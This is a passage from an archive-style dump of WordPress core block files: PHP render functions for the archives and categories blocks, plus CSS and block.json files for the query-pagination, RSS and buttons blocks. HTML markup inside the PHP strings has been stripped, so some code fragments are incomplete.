    ', $wrapper_attributes, $block_content ); } $class .= ' wp-block-archives-list'; /** This filter is documented in wp-includes/widgets/class-wp-widget-archives.php */ $archives_args = apply_filters( 'widget_archives_args', array( 'type' => $type, 'show_post_count' => $show_post_count, ) ); $archives_args['echo'] = 0; $archives = wp_get_archives( $archives_args ); $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $class ) ); if ( empty( $archives ) ) { return sprintf( '
    %2$s
    ', $wrapper_attributes, __( 'No archives to show.' ) ); } return sprintf( '
      %2$s
    ', $wrapper_attributes, $archives ); } /** * Register archives block. */ function register_block_core_archives() { register_block_type_from_metadata( __DIR__ . '/archives', array( 'render_callback' => 'render_block_core_archives', ) ); } add_action( 'init', 'register_block_core_archives' ); blocks/query-pagination/editor-rtl.css000064400000004327147177035020014130 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block[data-align=center] > .wp-block-query-pagination { justify-content: center; } .editor-styles-wrapper .wp-block-query-pagination { max-width: 100%; } .editor-styles-wrapper .wp-block-query-pagination.block-editor-block-list__layout { margin: 0; } .wp-block-query-pagination > .wp-block-query-pagination-next, .wp-block-query-pagination > .wp-block-query-pagination-previous, .wp-block-query-pagination > .wp-block-query-pagination-numbers { margin-right: 0; margin-top: 0.5em; margin-right: 0.5em; margin-bottom: 0.5em; } .wp-block-query-pagination > .wp-block-query-pagination-next:last-child, .wp-block-query-pagination > .wp-block-query-pagination-previous:last-child, .wp-block-query-pagination > .wp-block-query-pagination-numbers:last-child { margin-right: 0; }blocks/query-pagination/style.min.css000064400000001660147177035020013762 0ustar00.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{margin-right:.5em;margin-bottom:.5em}.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{margin-right:0}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow{margin-right:1ch;display:inline-block}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-query-pagination .wp-block-query-pagination-next-arrow{margin-left:1ch;display:inline-block}.wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-query-pagination.aligncenter{justify-content:center}blocks/query-pagination/editor.css000064400000004370147177035020013327 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block[data-align=center] > .wp-block-query-pagination { justify-content: center; } .editor-styles-wrapper .wp-block-query-pagination { max-width: 100%; } .editor-styles-wrapper .wp-block-query-pagination.block-editor-block-list__layout { margin: 0; } .wp-block-query-pagination > .wp-block-query-pagination-next, .wp-block-query-pagination > .wp-block-query-pagination-previous, .wp-block-query-pagination > .wp-block-query-pagination-numbers { margin-left: 0; margin-top: 0.5em; /*rtl:ignore*/ margin-right: 0.5em; margin-bottom: 0.5em; } .wp-block-query-pagination > .wp-block-query-pagination-next:last-child, .wp-block-query-pagination > .wp-block-query-pagination-previous:last-child, .wp-block-query-pagination > .wp-block-query-pagination-numbers:last-child { /*rtl:ignore*/ margin-right: 0; }blocks/query-pagination/style-rtl.css000064400000004707147177035020014004 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-query-pagination > .wp-block-query-pagination-next, .wp-block-query-pagination > .wp-block-query-pagination-previous, .wp-block-query-pagination > .wp-block-query-pagination-numbers { margin-right: 0.5em; margin-bottom: 0.5em; } .wp-block-query-pagination > .wp-block-query-pagination-next:last-child, .wp-block-query-pagination > .wp-block-query-pagination-previous:last-child, .wp-block-query-pagination > .wp-block-query-pagination-numbers:last-child { margin-right: 0; } .wp-block-query-pagination .wp-block-query-pagination-previous-arrow { margin-left: 1ch; display: inline-block; } .wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron) { transform: scaleX(-1);; } .wp-block-query-pagination .wp-block-query-pagination-next-arrow { margin-right: 1ch; display: inline-block; } .wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron) { transform: scaleX(-1);; } .wp-block-query-pagination.aligncenter { justify-content: center; }blocks/query-pagination/editor.min.css000064400000001243147177035020014105 0ustar00.wp-block[data-align=center]>.wp-block-query-pagination{justify-content:center}.editor-styles-wrapper .wp-block-query-pagination{max-width:100%}.editor-styles-wrapper .wp-block-query-pagination.block-editor-block-list__layout{margin:0}.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{margin:.5em .5em .5em 0}.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{margin-right:0}blocks/query-pagination/block.json000064400000001676147177035020013322 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/query-pagination", "title": "Pagination", "category": "theme", "parent": [ "core/query" ], "description": "Displays a paginated navigation to next/previous set of posts, when applicable.", "textdomain": "default", "attributes": { "paginationArrow": { "type": "string", "default": "none" } }, "usesContext": [ "queryId", "query" ], "providesContext": { "paginationArrow": "paginationArrow" }, "supports": { "align": true, "reusable": false, "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "__experimentalLayout": { "allowSwitching": false, "allowInheriting": false, "default": { "type": "flex" } } }, "editorStyle": "wp-block-query-pagination-editor", "style": "wp-block-query-pagination" } blocks/query-pagination/style-rtl.min.css000064400000001662147177035020014563 0ustar00.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{margin-right:.5em;margin-bottom:.5em}.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{margin-right:0}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow{margin-left:1ch;display:inline-block}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-query-pagination .wp-block-query-pagination-next-arrow{margin-right:1ch;display:inline-block}.wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-query-pagination.aligncenter{justify-content:center}blocks/query-pagination/editor-rtl.min.css000064400000001300147177035020014676 0ustar00.wp-block[data-align=center]>.wp-block-query-pagination{justify-content:center}.editor-styles-wrapper .wp-block-query-pagination{max-width:100%}.editor-styles-wrapper .wp-block-query-pagination.block-editor-block-list__layout{margin:0}.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{margin-top:.5em;margin-right:.5em;margin-bottom:.5em}.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{margin-right:0}blocks/query-pagination/style.css000064400000005015147177035020013176 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-query-pagination > .wp-block-query-pagination-next, .wp-block-query-pagination > .wp-block-query-pagination-previous, .wp-block-query-pagination > .wp-block-query-pagination-numbers { /*rtl:ignore*/ margin-right: 0.5em; margin-bottom: 0.5em; } .wp-block-query-pagination > .wp-block-query-pagination-next:last-child, .wp-block-query-pagination > .wp-block-query-pagination-previous:last-child, .wp-block-query-pagination > .wp-block-query-pagination-numbers:last-child { /*rtl:ignore*/ margin-right: 0; } .wp-block-query-pagination .wp-block-query-pagination-previous-arrow { margin-right: 1ch; display: inline-block; } .wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron) { transform: scaleX(1) /*rtl:scaleX(-1);*/; } .wp-block-query-pagination .wp-block-query-pagination-next-arrow { margin-left: 1ch; display: inline-block; } .wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron) { transform: scaleX(1) /*rtl:scaleX(-1);*/; } .wp-block-query-pagination.aligncenter { justify-content: center; }blocks/categories.php000064400000005336147177035020010674 0ustar00 false, 'hierarchical' => ! empty( $attributes['showHierarchy'] ), 'orderby' => 'name', 'show_count' => ! empty( $attributes['showPostCounts'] ), 'title_li' => '', ); if ( ! empty( $attributes['showOnlyTopLevel'] ) && $attributes['showOnlyTopLevel'] ) { $args['parent'] = 0; } if ( ! empty( $attributes['displayAsDropdown'] ) ) { $id = 'wp-block-categories-' . $block_id; $args['id'] = $id; $args['show_option_none'] = __( 'Select Category' ); $wrapper_markup = '
    %2$s
    '; $items_markup = wp_dropdown_categories( $args ); $type = 'dropdown'; if ( ! is_admin() ) { // Inject the dropdown script immediately after the select dropdown. $items_markup = preg_replace( '#(?<=)#', build_dropdown_script_block_core_categories( $id ), $items_markup, 1 ); } } else { $wrapper_markup = '
      %2$s
    '; $items_markup = wp_list_categories( $args ); $type = 'list'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => "wp-block-categories-{$type}" ) ); return sprintf( $wrapper_markup, $wrapper_attributes, $items_markup ); } /** * Generates the inline script for a categories dropdown field. * * @param string $dropdown_id ID of the dropdown field. * * @return string Returns the dropdown onChange redirection script. */ function build_dropdown_script_block_core_categories( $dropdown_id ) { ob_start(); ?> 'render_block_core_categories', ) ); } add_action( 'init', 'register_block_core_categories' ); blocks/index.php000064400000010277147177035020007656 0ustar00 div { display: inline; } .wp-block-rss__placeholder-form { display: flex; align-items: stretch; } .wp-block-rss__placeholder-form > * { margin-bottom: 8px; } @media (min-width: 782px) { .wp-block-rss__placeholder-form > * { margin-bottom: 0; } } .wp-block-rss__placeholder-input { display: flex; align-items: stretch; flex-grow: 1; } .wp-block-rss__placeholder-input .components-base-control__field { margin: 0; display: flex; align-items: stretch; flex-grow: 1; margin-left: 8px; }blocks/rss/style.min.css000064400000001273147177035020011275 0ustar00ul.wp-block-rss{list-style:none;padding:0}ul.wp-block-rss.wp-block-rss{box-sizing:border-box}ul.wp-block-rss.alignleft{margin-right:2em}ul.wp-block-rss.alignright{margin-left:2em}ul.wp-block-rss.is-grid{display:flex;flex-wrap:wrap;padding:0;list-style:none}ul.wp-block-rss.is-grid li{margin:0 1em 1em 0;width:100%}@media (min-width:600px){ul.wp-block-rss.columns-2 li{width:calc(50% - 1em)}ul.wp-block-rss.columns-3 li{width:calc(33.33333% - 1em)}ul.wp-block-rss.columns-4 li{width:calc(25% - 1em)}ul.wp-block-rss.columns-5 li{width:calc(20% - 1em)}ul.wp-block-rss.columns-6 li{width:calc(16.66667% - 1em)}}.wp-block-rss__item-author,.wp-block-rss__item-publish-date{display:block;font-size:.8125em}blocks/rss/editor.css000064400000003730147177035020010641 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-rss li a > div { display: inline; } .wp-block-rss__placeholder-form { display: flex; align-items: stretch; } .wp-block-rss__placeholder-form > * { margin-bottom: 8px; } @media (min-width: 782px) { .wp-block-rss__placeholder-form > * { margin-bottom: 0; } } .wp-block-rss__placeholder-input { display: flex; align-items: stretch; flex-grow: 1; } .wp-block-rss__placeholder-input .components-base-control__field { margin: 0; display: flex; align-items: stretch; flex-grow: 1; margin-right: 8px; }blocks/rss/style-rtl.css000064400000004466147177035020011321 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ ul.wp-block-rss { list-style: none; padding: 0; } ul.wp-block-rss.wp-block-rss { box-sizing: border-box; } ul.wp-block-rss.alignleft { margin-right: 2em; } ul.wp-block-rss.alignright { margin-left: 2em; } ul.wp-block-rss.is-grid { display: flex; flex-wrap: wrap; padding: 0; list-style: none; } ul.wp-block-rss.is-grid li { margin: 0 0 1em 1em; width: 100%; } @media (min-width: 600px) { ul.wp-block-rss.columns-2 li { width: calc(( 100% / 2 ) - 1em); } ul.wp-block-rss.columns-3 li { width: calc(( 100% / 3 ) - 1em); } ul.wp-block-rss.columns-4 li { width: calc(( 100% / 4 ) - 1em); } ul.wp-block-rss.columns-5 li { width: calc(( 100% / 5 ) - 1em); } ul.wp-block-rss.columns-6 li { width: calc(( 100% / 6 ) - 1em); } } .wp-block-rss__item-publish-date, .wp-block-rss__item-author { display: block; font-size: 0.8125em; }blocks/rss/editor.min.css000064400000000664147177035020011426 0ustar00.wp-block-rss li a>div{display:inline}.wp-block-rss__placeholder-form{display:flex;align-items:stretch}.wp-block-rss__placeholder-form>*{margin-bottom:8px}@media (min-width:782px){.wp-block-rss__placeholder-form>*{margin-bottom:0}}.wp-block-rss__placeholder-input{display:flex;align-items:stretch;flex-grow:1}.wp-block-rss__placeholder-input .components-base-control__field{display:flex;align-items:stretch;flex-grow:1;margin:0 8px 0 0}blocks/rss/block.json000064400000001611147177035020010622 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/rss", "title": "RSS", "category": "widgets", "description": "Display entries from any RSS or Atom feed.", "keywords": [ "atom", "feed" ], "textdomain": "default", "attributes": { "columns": { "type": "number", "default": 2 }, "blockLayout": { "type": "string", "default": "list" }, "feedURL": { "type": "string", "default": "" }, "itemsToShow": { "type": "number", "default": 5 }, "displayExcerpt": { "type": "boolean", "default": false }, "displayAuthor": { "type": "boolean", "default": false }, "displayDate": { "type": "boolean", "default": false }, "excerptLength": { "type": "number", "default": 55 } }, "supports": { "align": true, "html": false }, "editorStyle": "wp-block-rss-editor", "style": "wp-block-rss" } blocks/rss/style-rtl.min.css000064400000001273147177035020012074 0ustar00ul.wp-block-rss{list-style:none;padding:0}ul.wp-block-rss.wp-block-rss{box-sizing:border-box}ul.wp-block-rss.alignleft{margin-right:2em}ul.wp-block-rss.alignright{margin-left:2em}ul.wp-block-rss.is-grid{display:flex;flex-wrap:wrap;padding:0;list-style:none}ul.wp-block-rss.is-grid li{margin:0 0 1em 1em;width:100%}@media (min-width:600px){ul.wp-block-rss.columns-2 li{width:calc(50% - 1em)}ul.wp-block-rss.columns-3 li{width:calc(33.33333% - 1em)}ul.wp-block-rss.columns-4 li{width:calc(25% - 1em)}ul.wp-block-rss.columns-5 li{width:calc(20% - 1em)}ul.wp-block-rss.columns-6 li{width:calc(16.66667% - 1em)}}.wp-block-rss__item-author,.wp-block-rss__item-publish-date{display:block;font-size:.8125em}blocks/rss/editor-rtl.min.css000064400000000664147177035020012225 0ustar00.wp-block-rss li a>div{display:inline}.wp-block-rss__placeholder-form{display:flex;align-items:stretch}.wp-block-rss__placeholder-form>*{margin-bottom:8px}@media (min-width:782px){.wp-block-rss__placeholder-form>*{margin-bottom:0}}.wp-block-rss__placeholder-input{display:flex;align-items:stretch;flex-grow:1}.wp-block-rss__placeholder-input .components-base-control__field{display:flex;align-items:stretch;flex-grow:1;margin:0 0 0 8px}blocks/rss/style.css000064400000004530147177035020010512 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ ul.wp-block-rss { list-style: none; padding: 0; } ul.wp-block-rss.wp-block-rss { box-sizing: border-box; } ul.wp-block-rss.alignleft { /*rtl:ignore*/ margin-right: 2em; } ul.wp-block-rss.alignright { /*rtl:ignore*/ margin-left: 2em; } ul.wp-block-rss.is-grid { display: flex; flex-wrap: wrap; padding: 0; list-style: none; } ul.wp-block-rss.is-grid li { margin: 0 1em 1em 0; width: 100%; } @media (min-width: 600px) { ul.wp-block-rss.columns-2 li { width: calc(( 100% / 2 ) - 1em); } ul.wp-block-rss.columns-3 li { width: calc(( 100% / 3 ) - 1em); } ul.wp-block-rss.columns-4 li { width: calc(( 100% / 4 ) - 1em); } ul.wp-block-rss.columns-5 li { width: calc(( 100% / 5 ) - 1em); } ul.wp-block-rss.columns-6 li { width: calc(( 100% / 6 ) - 1em); } } .wp-block-rss__item-publish-date, .wp-block-rss__item-author { display: block; font-size: 0.8125em; }blocks/buttons/editor-rtl.css000064400000005207147177035020012330 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-buttons { /* stylelint-disable indentation */ } .wp-block-buttons > .wp-block { margin: 0; } .wp-block-buttons > .wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button { margin: 0; } .wp-block-buttons > .block-list-appender { display: inline-flex; align-items: center; } .wp-block-buttons.is-vertical > .block-list-appender .block-list-appender__toggle { justify-content: flex-start; } .wp-block-buttons > .wp-block-button:focus { box-shadow: none; } .wp-block-buttons:not(.is-content-justification-space-between, .is-content-justification-right, .is-content-justification-left, .is-content-justification-center) .wp-block[data-align=center] { /* stylelint-enable indentation */ margin-right: auto; margin-left: auto; margin-top: 0; width: 100%; } .wp-block-buttons:not(.is-content-justification-space-between, .is-content-justification-right, .is-content-justification-left, .is-content-justification-center) .wp-block[data-align=center] .wp-block-button { margin-bottom: 0; } .wp-block[data-align=center] > .wp-block-buttons { align-items: center; justify-content: center; } .wp-block[data-align=right] > .wp-block-buttons { justify-content: flex-end; }blocks/buttons/style.min.css000064400000002063147177035020012162 0ustar00.wp-block-buttons.is-vertical{flex-direction:column}.wp-block-buttons.is-vertical>.wp-block-button:last-child{margin-bottom:0}.wp-block-buttons>.wp-block-button{display:inline-block;margin:0}.wp-block-buttons.is-content-justification-left{justify-content:flex-start}.wp-block-buttons.is-content-justification-left.is-vertical{align-items:flex-start}.wp-block-buttons.is-content-justification-center{justify-content:center}.wp-block-buttons.is-content-justification-center.is-vertical{align-items:center}.wp-block-buttons.is-content-justification-right{justify-content:flex-end}.wp-block-buttons.is-content-justification-right.is-vertical{align-items:flex-end}.wp-block-buttons.is-content-justification-space-between{justify-content:space-between}.wp-block-buttons.aligncenter{text-align:center}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{margin-left:auto;margin-right:auto;width:100%}.wp-block-button.aligncenter{text-align:center}blocks/buttons/editor.css000064400000005207147177035020011531 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-buttons { /* stylelint-disable indentation */ } .wp-block-buttons > .wp-block { margin: 0; } .wp-block-buttons > .wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button { margin: 0; } .wp-block-buttons > .block-list-appender { display: inline-flex; align-items: center; } .wp-block-buttons.is-vertical > .block-list-appender .block-list-appender__toggle { justify-content: flex-start; } .wp-block-buttons > .wp-block-button:focus { box-shadow: none; } .wp-block-buttons:not(.is-content-justification-space-between, .is-content-justification-right, .is-content-justification-left, .is-content-justification-center) .wp-block[data-align=center] { /* stylelint-enable indentation */ margin-left: auto; margin-right: auto; margin-top: 0; width: 100%; } .wp-block-buttons:not(.is-content-justification-space-between, .is-content-justification-right, .is-content-justification-left, .is-content-justification-center) .wp-block[data-align=center] .wp-block-button { margin-bottom: 0; } .wp-block[data-align=center] > .wp-block-buttons { align-items: center; justify-content: center; } .wp-block[data-align=right] > .wp-block-buttons { justify-content: flex-end; }blocks/buttons/style-rtl.css000064400000005315147177035020012202 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-buttons { /* stylelint-disable indentation */ } .wp-block-buttons.is-vertical { flex-direction: column; } .wp-block-buttons.is-vertical > .wp-block-button:last-child { margin-bottom: 0; } .wp-block-buttons > .wp-block-button { display: inline-block; margin: 0; } .wp-block-buttons.is-content-justification-left { justify-content: flex-start; } 